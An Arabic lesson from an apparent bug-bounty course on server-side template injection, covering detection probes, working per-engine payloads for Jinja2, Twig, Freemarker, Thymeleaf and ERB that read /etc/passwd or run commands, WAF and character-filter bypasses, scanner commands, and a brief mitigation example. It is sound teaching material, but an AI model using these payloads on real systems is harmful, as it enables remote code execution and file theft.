الدرس 15 من 24

تقنيات الاستغلال المتقدمة

حقن قوالب جانب الخادم (SSTI)

3 دقيقة للقراءة

SSTI يحدث عندما يُضمن إدخال المستخدم في قوالب جانب الخادم. يمكن أن يؤدي لكشف المعلومات، قراءة ملفات عشوائية، وتنفيذ الكود عن بعد.

فهم SSTI

محركات القوالب تعرض محتوى ديناميكي:

القالب: "Hello {{name}}!"
الإدخال: name = "World"
المخرج: "Hello World!"

الهجوم: name = "{{7*7}}"
المخرج: "Hello 49!"  # القالب نُفذ!

الكشف

Polyglot الأساسي

# سلسلة اختبار تثير أخطاء في محركات متعددة
${{<%[%'"}}%\.

# إذا كان الخطأ يختلف عن الإدخال العادي → محرك قوالب موجود

الكشف الخاص بالمحرك

المحرك الفحص المتوقع
Jinja2 (Python) {{7*7}} 49
Twig (PHP) {{7*7}} 49
Freemarker (Java) ${7*7} 49
Thymeleaf (Java) [[${7*7}]] 49
Velocity (Java) #set($x=7*7)$x 49
Smarty (PHP) {7*7} 49
ERB (Ruby) <%= 7*7 %> 49

شجرة القرار

الإدخال: {{7*7}}
  ├── 49 → Jinja2، Twig، أو مشابه
  └── {{7*7}} → ليست تلك المحركات
      ├── جرب: ${7*7}
      │   └── 49 → Freemarker، Velocity
      └── جرب: {7*7}
          └── 49 → Smarty

الاستغلال حسب المحرك

Jinja2 (Python/Flask)

# قراءة ملف
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

# RCE
{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['sys'].modules['os'].popen('id').read() }}

# حمولة أقصر (إذا import متاح)
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

Twig (PHP)

# RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# بديل
{{["id"]|filter("system")}}

Freemarker (Java)

# RCE
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

# بديل
${"freemarker.template.utility.Execute"?new()("id")}

Thymeleaf (Java)

# RCE عبر SpringEL
[[${T(java.lang.Runtime).getRuntime().exec('id')}]]

# متغير معامل URL
__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x

Ruby ERB

# RCE
<%= system('id') %>
<%= `id` %>

تجاوز الفلاتر

تجاوز WAF في Jinja2

# بدون علامات اقتباس
{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f') }}

# بدون أقواس
{{ request|attr('application')|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('id')|attr('read')() }}

# Unicode escapes
{{ '\x5f\x5fclass\x5f\x5f' }}  # __class__

قيود الأحرف

# بدون نقاط (Jinja2)
{{ request['application']['__globals__']['os']['popen']('id')['read']() }}

# بدون underscores
{{ request|attr(request.args.get('a'))|attr(request.args.get('b')) }}
# URL: ?a=__class__&b=__mro__

أين تجد SSTI

نقاط الحقن الشائعة:

  • قوالب البريد الإلكتروني (متغيرات مخصصة)
  • رسائل الخطأ مع إدخال منعكس
  • إنشاء PDF/المستندات
  • قوالب SMS/الإشعارات
  • حقول ملف المستخدم المعروضة من جانب الخادم
  • بناة صفحات CMS
# اختبر كل حقل إدخال
# ابحث عن ميزات "معاينة" أو "عرض" محتوى المستخدم
# تحقق من نقاط نهاية API التي تنسق/تقولب الاستجابات

الاختبار الآلي

# استخدام tplmap
python tplmap.py -u "https://example.com/page?name=test"

# استخدام Nuclei
nuclei -l targets.txt -tags ssti

# إضافة Burp: Template Injection Scanner

أمثلة المكافآت

الشركة المحرك التأثير المكافأة
Uber Jinja2 RCE 15,000 دولار
Shopify Liquid قراءة ملف 10,000 دولار
Yahoo Freemarker RCE 8,000 دولار
HubSpot HubL قراءة ملف 5,000 دولار

فهم التخفيف

لماذا يحدث SSTI:

  • إدخال المستخدم مباشرة في سلسلة القالب
  • استخدام محرك القوالب لتخصيص البريد الإلكتروني
  • إنشاء قالب ديناميكي من محتوى المستخدم

النهج الآمن:

# ضعيف
template = f"Hello {user_input}!"
render_template_string(template)

# آمن
render_template("template.html", name=user_input)

نصيحة احترافية: SSTI غالباً يختبئ في أماكن غير متوقعة—صفحات الخطأ، معاينات البريد، مولدات PDF. اختبر كل حقل يعرض مخرجات.

في الدرس التالي، سنغطي Web Cache Poisoning وHTTP Request Smuggling. :::

اختبار

الوحدة 4: تقنيات الاستغلال المتقدمة

خذ الاختبار